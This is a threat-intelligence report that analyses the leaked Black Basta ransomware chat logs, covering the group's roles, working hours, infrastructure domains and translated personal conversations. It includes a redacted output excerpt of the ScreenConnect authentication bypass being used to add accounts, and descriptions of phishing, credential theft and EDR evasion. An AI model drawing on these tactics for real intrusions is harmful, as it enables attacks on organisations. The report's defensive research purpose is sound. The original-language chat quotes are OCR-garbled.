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I About This Report

This report, prepared by the MBSD Cyber Intelligence Group (CIG*), provides a detailed analysis of Black Basta's
internal chat logs (approximately 1.34 million lines) leaked in February 2025. Through this analysis, the true
nature of the group and new trends in cyberattacks are revealed. By capturing the attackers” humanity,

organizational structure, and technical skills as an integrated whole, a deeper structure emerges that differs from
the conventional, simplistic image of “criminals.”

*

CIG is a specialized team within MBSD responsible for malware analysis, investigations of ransomware group

activities, the collection and analysis of threat intelligence, and the dissemination and sharing of threat information.




I Executive Summary

On February 11, 2025, approximately 200,000 internal leaked chat logs (covering the period from September
2023 to September 2024) belonging to the ransomware group Black Basta were leaked. This group is a major
threat actor that is said to have extorted over 100 million USD worldwide. In this report, we systematically
examine these logs and provide a detailed analysis of Black Basta's organizational structure, operations, and
technical methods.

The chat logs confirm that Black Basta is a highly sophisticated organization rapidly exploiting emerging
technologies such as generative Al. They also provide rare insights into the group's internal dynamics and
human aspects. Through these findings, it becomes clear that, in addition to enforcing basic security
measures, organizations must urgently build defense systems capable of responding to new and evolving
threats.

Important points

Human aspects:
® Active communication among members
The chat logs contain frequent personal exchanges - seeking advice, offering support, and, at times,
exposing strong hierarchies and conflicts.

® Attacker ethics
In an incident involving a large healthcare network, the chat logs show members recognizing the risk to
patients’ lives (including children) while still coolly planning ways to collect ransom. The pursuit of
financial gain despite life-threatening consequences evidences a lack of ethical standards.

® Importance of international efforts
The members’ fear of law-enforcement crackdowns indicates that cross-border enforcement has served
as an effective deterrent. Continued, coordinated international action remains essential.

Organizational aspects:
® Orderly, tightly controlled operations
A clear chain of command existed, with the leader exercising strong authority. Members had defined
roles and operated within a strict hierarchy.

® Co-located activity at a physical base
The chat logs indicate that members lived and worked together in the same office, taking meals and
sleeping on-site and limiting outside contact. This isolation appears designed to reduce information
leakage risk and maintain continuous attack capability.



Technical aspects:
® Exploitation of vulnerabilities
The group actively gathered information ranging from known vulnerabilities to zero-days and discussed
exploitation paths within days of disclosure - highlighting the risk window before patching.

® Advanced phishing and social engineering
The chat logs showed that the group continuously research and refine effective social engineering
techniques. In particular, they abused Microsoft Teams by impersonating legitimate IT support to lower
employee vigilance, underscoring the need for continuous user awareness training.

® Abuse of leaked/weak credentials
The analysis revealed that the group exploit organizational authentication systems as their primary
entry vector, including stolen credentials and weak passwords. They persistently targeted human factors
in credential management, demanding both technical and human-centric controls.

® Rapid adoption of generative Al
The leaked chat logs demonstrated that the group possess high technical adaptability, rapidly
incorporating emerging technologies such as generative Al and deepfake techniques into their attack
methods. These findings indicate that defending against attacks leveraging cutting-edge technologies
requires organizations to develop new defense strategies suited for the Al era, in addition to traditional
security measures.

This report reveals the reality of ransomware attack groups from multiple perspectives, including not only
technical aspects but also organizational operations and human factors.
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I 1. Introduction

I 1.1 General Information

About Black Basta

Black Basta operated as a double extortion ransomware group from April 2022 to January 2025. The group listed

about 580 victim organizations, including Japanese companies, on its leak site. Considering unpublicized cases,
the actual number of victims likely exceeds this figure. Estimates place the total ransom damages at over 100

million USD.

Leaked Chat Logs
Leaked Date

Circumstance
Chat Period
Number of Chats

Language

Group Members

Number of Accounts

Participation Period

: February 11, 2025

: Leaked on Telegram by the account named “ExploitWhispers”
: September 18, 2023 — September 28, 2024

: Approximately 200,000 (about 1.34M lines, 46M characters)

: Russian — about 78%, English — about 22%

149 in total

1 to 379 days (incl. temporary external collaborators)



I 1.2 Overview and Implications of This Report

This report analyzes Black Basta's operational realities recorded in the leaked chat logs, focusing on human,
organizational, and technical aspects.

From a human perspective, the chat logs reveal interpersonal conflicts among members, personal remarks about
their private lives, and instances where they sought advice or discussed personal concerns. The chat logs also
show their wariness of law enforcement crackdowns and internal betrayal, providing insight into the psychology
of a criminal group.

From an organizational perspective, the group maintained physical operational bases and conducted its activities
within a structured hierarchy. The leader exercised strong authority, assigning specific roles to each member.
Within shared living arrangements, members concentrated on their assigned duties, reflecting a policy
prioritizing both information control and operational efficiency.

From a technical perspective, Black Basta employed a variety of tactics, including exploitation of zero-day and
known vulnerabilities. The chat logs show frequent discussions on ways to increase the success rate of attacks,
including the adoption of emerging technologies such as generative Al. Records also indicate the in-house
development of attack tools, reaffirming the group’s highly advanced technical capabilities. These findings
underscore the need not only for basic security measures but also for continuously updating defenses against
evolving attack methods.

The analysis of attacks on Japanese organizations revealed numerous mentions of victims whose incidents had
not been disclosed publicly through leaks or announcements. The group quietly and systematically selected its
targets, indicating that any organization could become a victim. Such references make it clear that publicly
reported cases represent only the tip of the iceberg.

From the perspective of extortion techniques, the analysis shows that Black Basta carefully selected targets likely
to pay ransom. They investigated victims' financial conditions in advance and calculated ransom demands
accordingly. In negotiations, they used pre-written scripts, demonstrating a systematic approach aimed at
increasing ransom payment success rates.

The chat logs contain multiple conversations suggesting connections with other attack groups. These exchanges
indicate Black Basta built networks enabling members to transfer and continue operations even when activities
face restrictions. Discussions also reference law-enforcement actions against other groups, revealing efforts to

avoid risks by monitoring industry-wide developments.

From Chapter 2 onward, this report provides more detailed analysis on the points above. We hope this report
contributes to a deeper understanding of ransomware groups and supports efforts to strengthen ransomware
countermeasures.



I 2. Comprehensive Analysis and Synthesis of Key Information

This chapter presents a comprehensive analysis of Black Basta's chat logs, organizing and examining the data
across the following dimensions:

® Timeline

® Frequency of messages

® Account roles

® [P addresses / domain names appearing

Before examining individual exchanges, this analysis first clarifies the structural characteristics of the entire
organization emerging from the chat logs.

Analysis of accounts' posting tendencies, timing of appearance, and function-specific roles - including command
echelon, technical division, operations division, and field units - reveals Black Basta's organizational hierarchy.
Member activity patterns concentrate heavily during weekday business hours, indicating structured operational
schedules. This pattern demonstrates systematic management practices and work planning, distinguishing
organized group activity from individual operations.

These findings indicate that Black Basta functioned as a coordinated organizational entity with established
operational continuity.
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|2.1 Categorization of Observed Accounts

The chat logs contain 49 accounts. Activity duration analysis yields four categories: core members (active for
250+ days), mid-term members (100-249 days), short-term members (10-99 days), and ultra-short-term
members (<10 days). Message frequency data shows that gg posted significantly more than other core
members. Conversation content indicates that he participated centrally across technical, operational, and
personal discussions, maintaining consistent organizational influence.

Analysis of Core Member Information
The following is a detailed summary of the core members (those active for 250 days or more) who played central
roles in Black Basta:

gg (Leader)
At the center of all operations, gg held strong decision-making authority.

lapa (Command / Operations)
A highly responsive and obedient figure toward top members such as gg, lapa played a key role in a wide range
of operations.

nn (Command / Technical)
Responsible for tasks such as malware behavior analysis and intrusion preparation, nn frequently echoed gg's
directives.

yy (Command / Technical)
Handled infrastructure-related roles, including the implementation of custom protocols and encryption
mechanisms.

burito (Command / Technical)
An expert in encryption and EDR bypass techniques, burito oversaw and directed multiple phases of the attack
process.

muaddib6 (Command / Technical)
As a technical core member, muaddib6 supervised the infection process and led malware development, EDR
evasion, and lateral movement.

cameron777 (Command / Strategic)
Focused on reviewing and analyzing exfiltrated data, reporting insights to senior members like burito.

hunter (Technical Division)
Specialized in extracting NTDS and cracking password hashes, hunter managed progress in coordination with
infection timing.

boy (Technical Division)

Responsible for extracting and analyzing credential hashes, and sharing technical decisions and results with other
members.

11



cob_crypt ward (Technical Division)
In charge of malware encryption deployment and payload preparation, coordinating and collaborating with
other technical staff.

tt (Technical Division)
Supervised comprehensive server operations, encompassing infrastructure setup, C2 activities, VPS configuration,
and DNS management.

777 (Technical Division)
Handled hash analysis support using Hashcat, performing batch processing and credential extraction.

cc (Operations Division)
Supervised data classification, processing, and publication of leaks, managing release timing to exert
psychological pressure and support negotiation strategies.

ugway (Operational Unit)
Responsible for building and operating spam and phishing attack infrastructure, working with other technical
divisions to execute attacks.

chuck (Operational Unit)
Designed tactics to evade detection by EDR and Windows Defender, and provided advice to technical staff.

zz (Operational Unit)
Responsible for investigating and classifying network scan results, identifying attack targets, and relaying
information.

ww (Operational Unit)
Handled ransomware deployment, DNS/C2 communication adjustments, execution of infections on internal
targets, and artifact removal.

mm (Operational Unit)
Responsible for VPN intrusions using credentials obtained via phishing and conducting network scans, reporting
the results.

ss (Operational Unit)
Handled intrusions via RDP, including ransomware deployment, payload execution, and infrastructure operation.

Jjj (Operational Unit)
Maintained C2 communications and ensured stability of infected machines, supporting attack infrastructure
through encryption setup and log wiping.

timber (Operational Unit)

Investigated and reported vulnerabilities such as SMB and MSRPC within target networks, and visualized
exploitable hosts.

12



Message Period by Account

Activity period visualizations reveal a diverse membership structure: long-term core members, mid-term and
short-term participants, and even ultra-short-term members who remained active for only a few days. This
pattern suggests that Black Basta maintained a fluid organizational structure, centering around fixed core
members while flexibly incorporating external collaborators and temporary participants as needed.

Duration of Each User’s Activity in the Chat Logs
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Message Frequency
Message count analysis shows that the leader "gg" posted significantly more messages than other members. gg

participated in virtually every conversation, ranging from technical and operational matters to private
discussions. This participation pattern indicates that this individual deeply involved themselves in all
organizational decision-making and wielded substantial influence.

Message Count by User (TOP 20)
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List of Accounts in the Chat Logs

# Account Division Role Duration # of
(CEVD) Messages

1 ag Leader (General Also known as Trump / Supreme Leader / Final 376 83,450
Management) Decision Maker / Core Member

2 lapa Command Layer Responsible for Spam/Phishing Campaigns / 370 26,375
(Operations) Core Member

3 nn Command Layer System Intrusion Development (Network/VPN 264 8,528
(Technical) Command) / Core Member

4 |vyy Command Layer Also known as bio / Technical Infrastructure 372 7,230
(Technical) Management (C2/Encryption) / Core Member
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5 burito Command Layer Lead Crypter (EXE/DLL Encryption Leader) / Core 336 2,170
(Technical) Member
6 muaddib6 Command Layer Malware Engineer (Infector Technical Command) 359 2,455
(Technical) / Core Member
7 cameron777 Command Layer Ransom Negotiation Leader / Access Broker / 303 3,642
(Strategy) Core Member
8 hunter Technical Division Head of Hash Analysis (Situation Management) / 372 518
Core Member
9 boy Technical Division Hash Analysis Specialist / Core Member 371 660
10 | cob_crypt_ward Technical Division Cryptor (Cobalt Strike Encryption/UDRL 283 1,683
Generation) / Core Member
1 tt Technical Division Infrastructure / Server Management / Core 276 1,544
Member
12 | 777 Technical Division Hash Analysis Support (Hashcat Specialist) / Core 276 474
Member
13 | blood Technical Division Malware Distribution / Cryptor / Mid-term 177 144
Member
14 | dd Technical Division Vulnerability Research / Short-term Member 12 28
15 | sunortla Technical Division Cryptor / Ultra-short-term Member 8 253
16 | temp Technical Division Development Test Specialist / One-day Member 1 7
17 | cc Operations Division Data Collection & Leak Publication Management 364 1,417
/ Core Member
18 | u123 Operations Division Data Collection & Leak Publication Management 207 783
/ Ransom Negotiation / Mid-term Member
19 | tinker Operations Division Ransom Negotiation / Blog Management / Mid- 176 1,163
term Member
20 | xx Operations Division Blog / Data Management / Short-term Member 89 698
21 | ng Operations Division Advisor / Liaison / Short-term Member 24 34
22 | nnl Operations Division Finance Management / Infrastructure / Short- 13 92
term Member
23 | ugway Operational Unit Spam / Phishing / Infrastructure / Core Member 343 6,082
24 | chuck Operational Unit Technical Advisor (Detection Evasion) / Core 319 1,374
Member
25 | zz Operational Unit Scan Result Investigation / Core Member 277 1,536
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26 | ww Operational Unit Ransomware Deployer (DNS/C2 Adjustment) / 276 1,698
Core Member

27 | mm Operational Unit System Intrusion / Scanner / Core Member 276 1,636

28 | ss Operational Unit System Intrusion / Operations / Core Member 270 5,537

29 |jj Operational Unit Infected System Management / Core Member 269 944

30 | timber Operational Unit Vulnerability Scanner / Core Member 267 258

31 | adm Operational Unit Ransomware Deployment Management / Mid- 194 236
term Member

32 | n3auxaxl Operational Unit System Developer (Stealer Operations) / Mid- 144 6,416
term Member

33 | nickolas Operational Unit System Intrusion Development (Network/VPN 143 3,670
Command) / Mid-term Member

34 | ssd Operational Unit Spam Specialist / Initial Access / Short-term 99 2,282
Member

35 | w Operational Unit Bot Development (New Server/JS Testing) / 94 13,640
Short-term Member

36 | w Operational Unit System Intrusion Operator / Short-term Member 89 1,665

37 | ff Operational Unit Ransomware Deployer / Short-term Member 88 397

38 | hh Operational Unit Infected System Explorer / Short-term Member 88 226

39 | iamnurnazarov Operational Unit Phone Operator / Short-term Member 36 734

40 | arslanshabbirmalik | Operational Unit Outsourced Phone Operator / Short-term 36 366
Member

41 | manager361 Operational Unit Phone Operations Manager / Short-term 36 577
Member

42 | manager880 Operational Unit Phone Operator / Social Engineering / Short- 35 481
term Member

43 | staffer Operational Unit Bot Operator / VNC & Stealer Operations / 32 138
Short-term Member

44 | mel Operational Unit Social Engineering Coordinator / Short-term 16 1,106
Member

45 | ugw Operational Unit Social Engineering Coordinator / Ultra-short- 4 304
term Member

46 | lincoln Operational Unit Phone Operator / Ultra-short-term Member 8 1,640

47 | princehorn Operational Unit Intrusion Worker (AnyDesk Support) / Ultra- 1 71

short-term Member
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48 | colin Operational Unit System Intrusion Operator / Ultra-short-term 27
Member
49 | mecor Unknown Unknown (No Messages) / Ultra-short-term 1

Member
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|2.2 Temporal Analysis of the Chat Logs

Temporal analysis of Black Basta's activities reveals organizational patterns resembling those of conventional
businesses. The chat logs concentrated during weekday business hours, indicating that the group primarily
operated during standard working days. The data also shows seasonal fluctuations in activity levels, with
members taking extended holidays during periods such as the New Year.

However, the analysis identifies variations in vacation days among members and evidence of late-night work
sessions. These findings demonstrate that working hours varied according to factors such as rank, rather than
following a uniform schedule.

Day-of-Week and Time-of-Day Analysis
A detailed analysis by day of the week and time of day revealed clear activity patterns of Black Basta. The chat
logs concentrated between around 8:00 and 19:00 from Monday to Friday, with relatively less activity on

weekends and late at night. However, conversations also took place during holidays and late-night hours,
suggesting that strong connections existed among the members.

Activity Patterns by Day of the Week and Time of Day
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o - 4 23 26 239 26 52 6
o - 2 14 24 69 15 10 9
< - 4 19 23 50 22 5 0 3,000
- 23 58 70 45 58 17 20
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~ - 481 1,277 886 1,465 895 230 161 2'500
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o 376 281
=0 354 188
i - 330 314 2'000
2 o 267 330
= m 447 345
< 509 244 1 / 500
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@© 1,387 465 217
l 1,136 1,397 470 243
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5 975 1,038 1,344 1,585 618 511 51
o - 325 931 942 552 415 151 110
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Weekly Message Count

The chat logs indicate that Black Basta members took vacations during specific periods, particularly year-
end/New Year holidays and summer breaks. Weekly message volume data reveals significant decreases during
the New Year period, aligning with vacation references. In Russia, public holidays and festivals combine to create
relatively long New Year holidays, and the low number of messages until mid-January suggests that the group
followed this cultural practice.

The decrease after July 2024 could indicate a summer vacation, but maintaining the existing environment may
have become difficult, prompting a transition of the operational base.

In particular, the media extensively reported the large-scale attack on a medical network in May 2024, generating
significant public attention, which likely triggered heightened vigilance toward law enforcement agencies.
Furthermore, at the end of June 2024, law enforcement detained gg, and the convergence of multiple external
factors further intensified their wariness of crackdowns.

In fact, gg made statements suggesting a transition to a new platform, and the fact that these comments appear
at the end of the leaked chat logs supports the aforementioned speculation.

Trend in the Number of Messages
1 2,500 X-Axis: Period

Y-Axis: Number of Messages
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|2.3 Domain Name and IP Address Analysis

The leaked chat logs contained extensive network artifacts including domain names and IP addresses. These
artifacts encompassed victim organization endpoints, operational infrastructure, hosting services, and third-party
platforms leveraged during campaigns. This section details our analysis of these network indicators.

Domain Name Counts

More than 16,000 domain names (including duplicates) appeared in the chat logs, with the top 20 domains
accounting for approximately 26% of the total. "ZoomInfo," a service providing corporate information including
capital and location data, appeared most frequently, suggesting its use in target reconnaissance activities.

File-sharing service domains such as templ.]sh and transfer[.]Jsh appear frequently in the chat logs. These services
provide temporary file storage with automatic deletion after predetermined periods. Their presence in attack
operations indicates deliberate efforts to minimize forensic traces.

Additionally, the analysis identified less frequent but notable domains, including those mimicking government
agencies potentially used in social engineering campaigns, as well as domains associated with targeted
organizations.
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Domain Names Found in the Chat Logs (TOP 20)

zoominfo.com
temp.sh
mjustice.dz

file.io
github.com

gaz.im
prnt.sc
avcheck.net
exploit.in

dropmefiles.com
google.com
okta.com
microsoft.com

scanner.to
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Y-Axis: Domain
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Attack Activities Identified via IP Addresses

The leaked chat logs contained nearly 4,000 IP addresses, geographically distributed over a wide area(*). This
section describes records of direct attacks against victim organizations as well as characteristics of the
infrastructure that the attackers used.

Regarding IP addresses related to victim organizations, the chat logs contained records showing that the
attackers exploited a vulnerability in ConnectWise ScreenConnect’s authentication bypass to create unauthorized
accounts across multiple organizations. These records revealed how they established footholds in several
organizations for further attacks.

Target Server: http://6 9:8040
Adding Username:

Adding Password:

Successfully added user

Target Server: http://5
Adding Username:

Adding Password:
Successfully added user

Target Server: https://6 0:8040
Adding Username:

Adding Password:

Successfully added user

The chat logs contained multiple IP addresses related to hosting servers of HZ Hosting Ltd. It is a hosting
provider that offers rental internet servers, and its servers allow anonymous payments using Bitcoin. Previous
studies link HZ Hosting Ltd. infrastructure to Sandworm (a Russian cyberattack group) operations. Analysis
reveals correlation between anonymous hosting services and operational infrastructure selection.

(*) Distribution of IP Addresses Across a Wide Area

Below figure maps all IP addresses appearing in the leaked chat logs onto a geographical scale. These IP
addresses may include victim organizations, operational infrastructure (C2 servers, hosting, proxies), and
compromised third-party systems. Although individual classification and attribution remain undetermined, the
mapping serves as a reference visualization of the geographic distribution of network artifacts documented in
the chat logs.
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Geographical Distribution of IP Addresses in the Chat Logs
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I 3. The Human Side of Black Basta

Understanding the internal dynamics of ransomware organizations typically presents significant challenges.
However, analysis of the leaked chat logs provided insights into Black Basta's organizational structure and
behavioral patterns.

In addition to operational content, the chat logs contained records of members' personal conversations.
Members discussed everyday topics such as family, money, health, and politics, including exchanges where
members from conflicting nations expressed concerns about geopolitical tensions. Even in discussions about
ransomware operations, the chat logs documented statements expressing concern about public attention levels
and potential civilian impact, revealing instances of personal considerations within operational contexts.

Beyond these personal exchanges, the chat logs document operational security measures: law enforcement
vigilance, identity concealment tactics, and face-to-face meeting requirements for counter-surveillance.
References to internal betrayals also appear, indicating unstable relationships among members.
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|3.1 Daily Life Topics - Family, Money, Health, and More

The chat logs show operational activities occupied limited portions of members' time, with clear demarcation

between work and personal life. Personal conversations addressed standard life topics: family, finances, health,

relationships, and prospects. Such content reveals multidimensional aspects of member communications beyond

operational contexts.

Members’ Conversation about a Wife's Upcoming Childbirth

Childbirth and Financial Motivation

Translated

2024-04-05 17:37:16, @arslanshabbirmalik:matrix.org,
Sir, | have a pregnant wife. | am saving money for her
delivery. Please you area just and open hearted man. |
am a poor person. My request to you is to take care
of me like a family. | promise you, | shall be working
for you all life.

2024-04-05 17:41:28, @manager361:colorado.su, Is
your wife having a baby right now or something?
[omitted]

2024-04-05 17:42:05, @arslanshabbirmalik:matrix.org,
No no sir. After 3 months then baby is expected
2024-04-05 17:42:22, @arslanshabbirmalik:matrix.org,
[ X ] v v

2024-04-05 17:52:07, @manager361:colorado.su, I'll
add more numbers now

2024-04-05 17:52:16, @arslanshabbirmalik:matrix.org,
Ok sir.

2024-04-05 17:52:17, @manager361:colorado.su,
Ready to work?

2024-04-05 17:52:22, @arslanshabbirmalik:matrix.org,
Yes sir

[omitted]

2024-04-05 17:58:41, @manager361:colorado.su,
Start

2024-04-05 17:59:28, @arslanshabbirmalik:matrix.org,
Received sir.

[omitted]

2024-04-05 19:32:39, @arslanshabbirmalik:matrix.org,
Hello sir, | have called all the number and added the
comments.

[omitted]

2024-04-05 19:39:23, @arslanshabbirmalik:matrix.org,
Haha, thank you madam. | am a peaceful person. |
believe we all are connected and from the same stem.
| live in Pakistan. Here life is bit difficult and different.
[omitted]
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Original Text

2024-04-05 17:37:16, @arslanshabbirmalik:matrix.org,
Sir, | have a pregnant wife. | am saving money for her
delivery. Please you area just and open hearted man. |
am a poor person. My request to you is to take care
of me like a family. | promise you, | shall be working
for you all life.

2024-04-05 17:41:28, @manager361:colorado.su, Is
your wife having a baby right now or something?
[omitted]

2024-04-05 17:42:05, @arslanshabbirmalik:matrix.org,
No no sir. After 3 months then baby is expected
2024-04-05 17:42:22, @arslanshabbirmalik:matrix.org,
[ X ] v v

2024-04-05 17:52:07, @manager361:colorado.su, I'll
add more numbers now

2024-04-05 17:52:16, @arslanshabbirmalik:matrix.org,
Ok sir.

2024-04-05 17:52:17, @manager361:colorado.su,
Ready to work?

2024-04-05 17:52:22, @arslanshabbirmalik:matrix.org,
Yes sir

[omitted]

2024-04-05 17:58:41, @manager361:colorado.su,
Start

2024-04-05 17:59:28, @arslanshabbirmalik:matrix.org,
Received sir.

[omitted]

2024-04-05 19:32:39, @arslanshabbirmalik:matrix.org,
Hello sir, | have called all the number and added the
comments.

[omitted]

2024-04-05 19:39:23, @arslanshabbirmalik:matrix.org,
Haha, thank you madam. | am a peaceful person. |
believe we all are connected and from the same stem.
| live in Pakistan. Here life is bit difficult and different.
[omitted]



2024-04-05 19:44:53, @arslanshabbirmalik:matrix.org,
¥ W 4. please sir, if possible, consider it as a
request. | am not a very privileged person. | am
striving to make a good living. Please if it's not a
burden to you. Pay me good with your own will. |
shall be highly thankful to you. & J. @ 44 @ 44
2024-04-05 19:48:07, @manager880:colorado.su,
Huh, Let's keep going, and it will become clearer how
strong our cooperation will be.
[omitted]
2024-04-05 19:50:33, @arslanshabbirmalik:matrix.org,
2 @ & . Madam, | know you

£

Madam, you are love.
are a very strong woman. This is why | am fully
dedicated to your work. | believe opportunity can
knock on anybody's door. May be because of you |
could be the luckiest one. Madam, you always healthy

-~

happy and prosperous

2024-04-05 19:44:53, @arslanshabbirmalik:matrix.org,
¥ W 4. please sir, if possible, consider it as a
request. | am not a very privileged person. | am
striving to make a good living. Please if it's not a
burden to you. Pay me good with your own will. |
shall be highly thankful to you. @ J4 @ 44 @ 4a
2024-04-05 19:48:07, @manager880:colorado.su,
Huh, Let's keep going, and it will become clearer how
strong our cooperation will be.
[omitted]
2024-04-05 19:50:33, @arslanshabbirmalik:matrix.org,
2 @ & . Madam, | know you

£

Madam, you are love.
are a very strong woman. This is why | am fully
dedicated to your work. | believe opportunity can
knock on anybody's door. May be because of you |
could be the luckiest one. Madam, you always healthy

-~

happy and prosperous

A member emphasized poverty and family circumstances to negotiate employment and compensation.
Communications combined excessive deference with emotional appeals and organizational loyalty pledges. This

exchange shows recruitment strategies targeting economically disadvantaged populations for cost-effective

labor acquisition across international boundaries. It also reveals operational methods involving telephone-based

activities.
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Conversations on Money

References to Debt Repayment

Translated

2023-12-19 20:39:21,
@w:matrixtcFJHPDbImt2rg.network, Finally, | will pay off
all my debts, I've been waiting for this for so long)
2023-12-19 20:39:33,
@w:matrixtcFJHPDbImt2rg.network, Now nothing will
bother me at all, my efficiency will be a hundred times
higher.

2023-12-19 20:39:43,
@w:matrixtcFJHPDbImt2rg.network, | was constantly
fending off those calls, it was a total mess.

2023-12-19 20:40:00,
@usernamegg:matrix.bestflowers247.online, Well, that's
great!

2023-12-19 20:40:13,
@usernamegg:matrix.bestflowers247.online, Our work
isn't for nothing then :)

2023-12-19 20:40:20,
@w:matrixtcFJHPDbImt2rg.network, Yeah :)

2023-12-19 20:40:32,
@w:matrixtcFJHPDbImt2rg.network, Thanks again to you
for giving me a chance )

2023-12-19 20:40:45,
@w:matrixtcFJHPDbImt2rg.network, You've helped me a
lot, thank you for everything :)

Original Text

2023-12-19
20:39:21,@w:matrixtcFJHPDblmt2rg.network,
HaKOHeL, TO 51 BCe AOJITM 3aKPOH), TaK JAaBHO 3TOMO
XAan)

2023-12-19

20:39:33, @w:matrixtcFJHPDblmt2rg.network, Tenepb
BOOOLLE HMYero He ByzeT napuTb, kng B pa3 100
6yzeT Bbille

2023-12-19

20:39:43, @w:matrixtcFJHPDbImt2rg.network, a 1o
NOCTOAHHO OTOMBANCA OT 3TUX 3BOHKOB M3aeL,
2023-12-19
20:40:00,@usernamegg:matrix.bestflowers247.online,
HY BOT M OTANYHO !

2023-12-19
20:40:13,@usernamegg:matrix.bestflowers247.online,
He 3ps paboTaem cnamMm )

2023-12-19
20:40:20,@w:matrixtcFJHPDblmt2rg.network, ara)
2023-12-19

20:40:32, @w:matrixtcFJHPDblmt2rg.network,
cnacunbo ele pa3 bonblue Tebe, 3a TO UTO Aas LIAHC)
2023-12-19
20:40:45,@w:matrixtcFJHPDblmt2rg.network, nomor
CO MHOTUM, 3a BCe cnacnbo)

A debt-burdened individual resolves financial difficulties through operational involvement and expresses

gratitude to leadership.
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Expressions of Financial Success and Gratitude Toward Peers

Translated

2024-02-06 08:16:45,
@usernamenn:matrix.bestflowers247.online, | won't
let it sink, as you said, now this is my burden :))
2024-02-06 08:17:16,
@usernamenn:matrix.bestflowers247.online, After all,
a soul was put into it.

2024-02-06 08:17:44,
@usernamegg:matrix.bestflowers247.online, Yes, it
has fed us for many years.

2024-02-06 08:17:50,
@usernamegg:matrix.bestflowers247.online, We
made so much wealth with it.

2024-02-06 08:17:59,
@usernamegg:matrix.bestflowers247.onlineg, It's a
very, very, very cool project.

2024-02-06 08:18:04,
@usernamenn:matrix.bestflowers247.online, Well, it
opened the road to Europe for us :))

Original Text

2024-02-06 08:16:45,
@usernamenn:matrix.bestflowers247.online, won s He
OCTaBJ/ItO TOHYTb, KaK Tbl CKa3as 3TO Ternepb Mos
HoLWa))

2024-02-06 08:17:16,
@usernamenn:matrix.bestflowers247.online, B Hero
Aylla BAOXEHa Kak H1Kak

2024-02-06 08:17:44,
@usernamegg:matrix.bestflowers247.online, ga oH
Hac KOpPMWA MHOFO neT

2024-02-06 08:17:50,
@usernamegg:matrix.bestflowers247.online, mbl
f06pa CTONbKO HaXXmMan € HAM

2024-02-06 08:17:59,
@usernamegg:matrix.bestflowers247.online, 3to
OYeHb OYeHb OYEHb KPYTOW NPOEKT

2024-02-06 08:18:04,
@usernamenn:matrix.bestflowers247.online, Hy won
OTKpPbI1 JOPOrYy B €BPOMNY Ham))

The chat logs show substantial profits from online services developed by associates, along with expressions of

admiration for the developers.

On Taking a Walk on a Sunny Day

Translated

2024-05-25 08:46:29,
@usernamegg:matrix.bestflowers247.online, The
weather is nice on the water.

2024-05-25 09:31:58, @nickolas:talks.icu, Yes, the
weather is nice, I'll go for a walk today too, to get
away from the hustle and bustle :)

Original Text

2024-05-25 08:46:29,
@usernamegg:matrix.bestflowers247.online, Ha Boge
XopoLuas noroga

2024-05-25 09:31:58, @nickolas:talks.icu, aa noroaka
XOpoLuas, Nonay TOXe rynsTb CEroAHs, OTBJeKaTbCs
OT CcyeThbl)

Members mentioned weather and walks during work breaks for mood refreshment. The chat logs contain

numerous casual daily conversations between group members.
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Family Weekend Plans #1

Translated

2023-12-11 08:17:37,
@lapa:matrix.bestflowers247.online, Well, | basically
stayed home over the weekend, watched New Year's
movies.

2023-12-11 08:18:50,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online>
Already in the New Year's mood? :) Overall yes, and
we'll also decorate the tree, then it will feel even more
like New Year.

2023-12-11 08:21:34,

@usernamegg:matrix.bestflowers247.online, Excellent.

2023-12-11 08:21:41,
@usernamegg:matrix.bestflowers247.online, |
decorated the tree this weekend.

Original Text

2023-12-11 08:17:37,
@lapa:matrix.bestflowers247.online, Hy BbIxogHble
AOMa NPOCKAEN MOXHO CYMTaTb, HOBOTOAHWE
dunbMbI cMOTpEn

2023-12-11 08:18:50,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online>
HaCTPOEHME HI yXe?) B LLEIOM A3, eLe enky byaem
HapsiXaTb, Torga y>e bonee HoBorogHee byzeT)
2023-12-11 08:21:34,
@usernamegg:matrix.bestflowers247.online, otanyHo
2023-12-11 08:21:41,
@usernamegg:matrix.bestflowers247.online, s
Haps>an enky B 3TV BbIXOAHbIE

Daily conversations about holiday activities and year-end atmosphere reveal typical leisure pursuits such as
decorating Christmas trees and watching holiday films. These exchanges demonstrate that group members

maintain personal lives and participate in conventional social activities alongside their operational roles.

Family Weekend Plans #2

Translated

2023-11-17 16:31:37,
@usernamegg:matrix.bestflowers247.online, He
misses work.

2023-11-17 16:31:39,
@usernamegg:matrix.bestflowers247.online, _0
2023-11-17 16:31:46,
@timber:matrix.bestflowers247.online, The kids don't
let me.

2023-11-17 16:32:02,
@timber:matrix.bestflowers247.online, It's easier on
weekends. | don't have to drive anyone.
2023-11-17 16:32:24,
@usernamegg:matrix.bestflowers247.online, Ahh.
2023-11-17 16:32:49,
@timber:matrix.bestflowers247.online, None of you
are around on weekends?

2023-11-17 16:33:14,
@usernamegg:matrix.bestflowers247.online, I'm
around here, but weekends are for rest.

Original Text

2023-11-17 16:31:37,
@usernamegg:matrix.bestflowers247.online, no
paboTe OH cOoCKyunICs

2023-11-17 16:31:39,
@usernamegg:matrix.bestflowers247.online, _0
2023-11-17 16:31:46,
@timber:matrix.bestflowers247.online, aetn He
nyckaroT

2023-11-17 16:32:02,
@timber:matrix.bestflowers247.online, Ha BbIXOAHbIX
Jlerye. HUKOro He HaAo BO3WTb

2023-11-17 16:32:24,
@usernamegg:matrix.bestflowers247.online, aa
2023-11-17 16:32:49,
@timber:matrix.bestflowers247.online, Bac H1Koro He
HbIBaeT Ha BbIXOAHbIX?

2023-11-17 16:33:14,
@usernamegg:matrix.bestflowers247.online, s Tyt
6bIBat0 HO BbIXM OTAbIXaTb HAaAO

Childcare responsibilities limit weekday participation while enabling weekend availability. Leadership members
maintain weekend presence, indicating flexible organizational scheduling across the team.

29



Spam Distribution Activity Before Vacation

Translated

2023-12-20 13:46:39,
@usernamegg:matrix.bestflowers247.online, Spam
has started.

[omitted]

2023-12-20 13:52:01,
@lapa:matrix.bestflowers247.online, 140k sent.
2023-12-20 13:52:05,
@lapa:matrix.bestflowers247.online, *140k went
through.

[omitted]

2023-12-20 14:06:01,
@lapa:matrix.bestflowers247.online, 290k went
through.

[omitted]

2023-12-20 14:15:31,
@lapa:matrix.bestflowers247.online, 400k went
through, I'll stop, will make more SOCKS for the US.
[omitted]

2023-12-20 15:29:08,
@lapa:matrix.bestflowers247.online, 300k went
through.

2023-12-20 15:29:10,
@lapa:matrix.bestflowers247.online, For the US.
[omitted]

2023-12-20 15:29:18,
@lapa:matrix.bestflowers247.onling, I'll stop, not
much came back.

[omitted]

2023-12-20 15:37:33,
